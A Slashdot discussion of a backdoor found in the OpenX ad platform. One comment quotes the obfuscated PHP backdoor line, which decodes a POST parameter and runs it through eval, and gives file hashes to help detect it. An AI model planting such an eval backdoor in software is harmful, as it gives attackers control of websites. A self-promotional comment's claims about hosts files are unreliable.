Slashdot Mirror
Backdoor Found In OpenX Ad Platform
mask.of.sanity writes "A backdoor has existed for at least seven months in a platform sold by OpenX, the self-described global leader of digital advertising which counts the New York Post, Coca Cola, Bloomberg and EA among its customers. The backdoor was contained within the official OpenX package and recently removed. Security researchers say it meant those who downloaded the compromised software could have provided attackers full access to their web sites."
So pretty much Malware ads only with full websites Also EasyList Blocks the Sucuri site
People once told me 68K ram was all we needed,
OpenX makes an interesting example of a technically open-source project that fails to benefit from open-source much at all. It's GPL'd, but they don't support any kind of public development (no public revision-control systems or anything), and they even make you register to download the source. The page where you do so mostly just tries to convince you not to do so. A third-party site mirrors the open-source version for no-login downloads, but it seems just out of personal interest, since he's the developer of a predecessor to OpenX. It's not clear there is anybody who cares about this codebase or ever looks at it outside the company. Hence, technically open-source, but trying as hard as possible not to be.
10 PRINT CHR$(205.5+RND(1)); : GOTO 10
and Ad platform can be many things. Specially today with exchanges and what not.
what the hell is openX? their site is as useless to understand this as they seems to shoot in every direction.
I'm guessing it's some ad serving platform that you serve via PHP and that was the compromised portion? to take control of the machines? ...or was there any atempt to infect clients being served by the ads as well?
... its just a question of how long it takes - how many months or years - for the backdoor's existence to become public knowledge. ---- Once the backdoor is revealed to be there, of course, the whole thing is spun as an "unintentional software/system vulnerability". ---- Nobody ever admits that the backdoor was put where it is very much on purpose, and WITH/FOR a purpose... =) My 2 Cents...
Why did the chicken cross the road? Because Elon Musk put an AI chip in its head.
Long ago, when cavemen used the internet, there were no ads and life was good. Go out of the cave, club something for dinner and enjoy the cave wall display. Then came ads.. They told us to leave the cave and spend on eveything. Let someone else club something, shove it in a package, freeze it and place it in a location where you need to spend more to get a car, gas and so it went.. Ads are evil , see what they did to us ! Oh for the good old days, a simple cave, fire and club is all you needed...
Cross domain advertising JavaScript is sooooo lame, it's required the removal of basic security implemented way back in browsers and opened the door to all kinds of miscreant behavior. I despise the Internet as a vehicle of advertising commerce.
The Internet was conceived to share ideas and information, everything else is utter BS in the name of money grubbing.
Did you ever wake up in the morning, with a Zombie Woof behind your eyes? -- FZ
If they run .js files trhu php parser they ought to loose control of their servers. It will be in better hands anyway.
Quit trolling.
If only someone would be kind enough to explain how this festering morass of ads, malware and miasma could be avoided by the use of a simple blacklist.
"Security researchers say it meant those who downloaded the compromised software could have provided attackers full access to their web sites."
"Security researchers say it meant those who downloaded the compromised software undoubtedly provided attackers full access to their web sites."
There...fixed that for you.
I've calculated my velocity with such exquisite precision that I have no idea where I am.
It is fixed in 2.8.11
http://forum.openx.org/index.php?showtopic=503521628 has openx's response.
Quick check on your servers by going to the openx base directory and doing an md5:
md5sum \
plugins/deliveryLog/vastServeVideoPlayer/flowplayer/3.1.1/flowplayer-3.1.1.min.js \
plugins/deliveryLog/vastServeVideoPlayer/player.delivery.php \
lib/max/Delivery/common.php
These md5's match the problem files:
558c80e601fb996e5f6bbc99a9ee0051 plugins/deliveryLog/vastServeVideoPlayer/flowplayer/3.1.1/flowplayer-3.1.1.min.js
fa4991d5fd3bf4a947b6ab0b15ce10b2 plugins/deliveryLog/vastServeVideoPlayer/player.delivery.php
5014c31b479094c0b32221ae1f1473ac lib/max/Delivery/common.php
flowplayer-3.1.1.min.js is the important one.
It has
$j='explode';
$_=$j(',','strrev,str_rot13,vastPlayer');
eval($_[1]($_[0]($_POST[$_[2]])));
obfuscated in it.
The flowerplayer-3.1.1min.js file shouldn't have changed since 2.8.9. So if you have an older version, you can just drop that into place over top of the one you currently have (just make sure it doesn't have the php tag in it). My unexploited copy from the last version was dated 7-17-2012 and has the following md5
8570c9bbdd01bef2c812270e68a306b5 flowplayer-3.1.1.min.js
The update is here or if you log in to your openx administrator panel, it should show by switching to the 'Administrator' in the upper right dropdown, going to 'configuration' and to the 'product updates' section in the left hand bar.
Finding out if someone actually used it on your server would require grepping through your logs for a post to fc.php and flow player-3.1.1.min.js. (I didn't see any requests for it on my servers, so I'm guessing there's not an automated scanner for it yet).
I had already blocked all ads served by openx servers (by URL regexp) long before this, after a couple of bad happenings on ad sites running openx.
It apparently is an unreliable platform. This finding only proves that.
However, I also think the ad platforms should make 5 steps back to become credible and acceptable again.
An ad server should be called from some customer-specific URL on the website and then serve a JPG or PNG with the ad. Period.
All the hoopla with javascripts fetched from different places, iframes, active content (like flash) etc has made it into an unreliable
piece of junk that just asks for being blocked. When I block it, they should not blame me but blame themselves.
I avoid ads totally (especially malscripted ones) via hosts files - how do I gather, sort, deduplicate, normalize, & filter them? Easy:
---
APK Hosts File Engine 9.0++ 32/64-bit:
http://start64.com/index.php?option=com_content&view=article&id=5851:apk-hosts-file-engine-64bit-version&catid=26:64bit-security-software&Itemid=74
---
Using that app by "yours truly"? So can you!
Hosts files do more with less (a single file) & at a faster level of privelege (ring 0/rpl0/kernelmode) than browser addons (that slow up already slower ring 3/rpl 3/usermode browsers) by acting as a filter for the IP stack itself (written in C language & starts with the OS + 1st request to the internet it is the 1st resolver queried as well, with over 45++ yrs.of optimization refinement put into it).
* It also does FAR more than AdBlock ("souled-out" to GOOGLE, & crippled by default) or Ghostery (Advertiser owned) do, by FAR - especially considering they're "Foxes guarding the henhouse" now.
Hosts also gain you reliability vs. downed DNS servers & protect you vs redirected DNS servers as well as securing you vs. known malicious sites/servers/hosts-domains online http://tech.slashdot.org/comments.pl?sid=3985079&cid=44310431 and with far less added "moving parts" room for breakdown, less complexity, and "less is more".
APK
P.S.=> Custom hosts files give users of them great benefits in added speed (blocking adbanners & hardcoding your favorite sites into them - faster than remote DNS lookups), added security (vs. known malicious sites/serves/hosts-domains that serve up malware or are malscript bearing - blocking spam/phish malicious links also), added reliability (vs. Kaminsky bug vulnerable DNS servers, 99% of which are STILL unpatched vs. it & worst of all @ the ISP level + vulnerable as hell vs. FastFlux + Dynamic DNS using botnets), & even added anonymity to an extent (vs. dns request logs + DNSBL's you may not like too)...
... apk
Ads suck up bandwidth we pay for. Content's pointless minus customers/users consuming it, & the customer is always right. In fact, so right, you can't do without them. You're not operating from a position of strength here, get over it.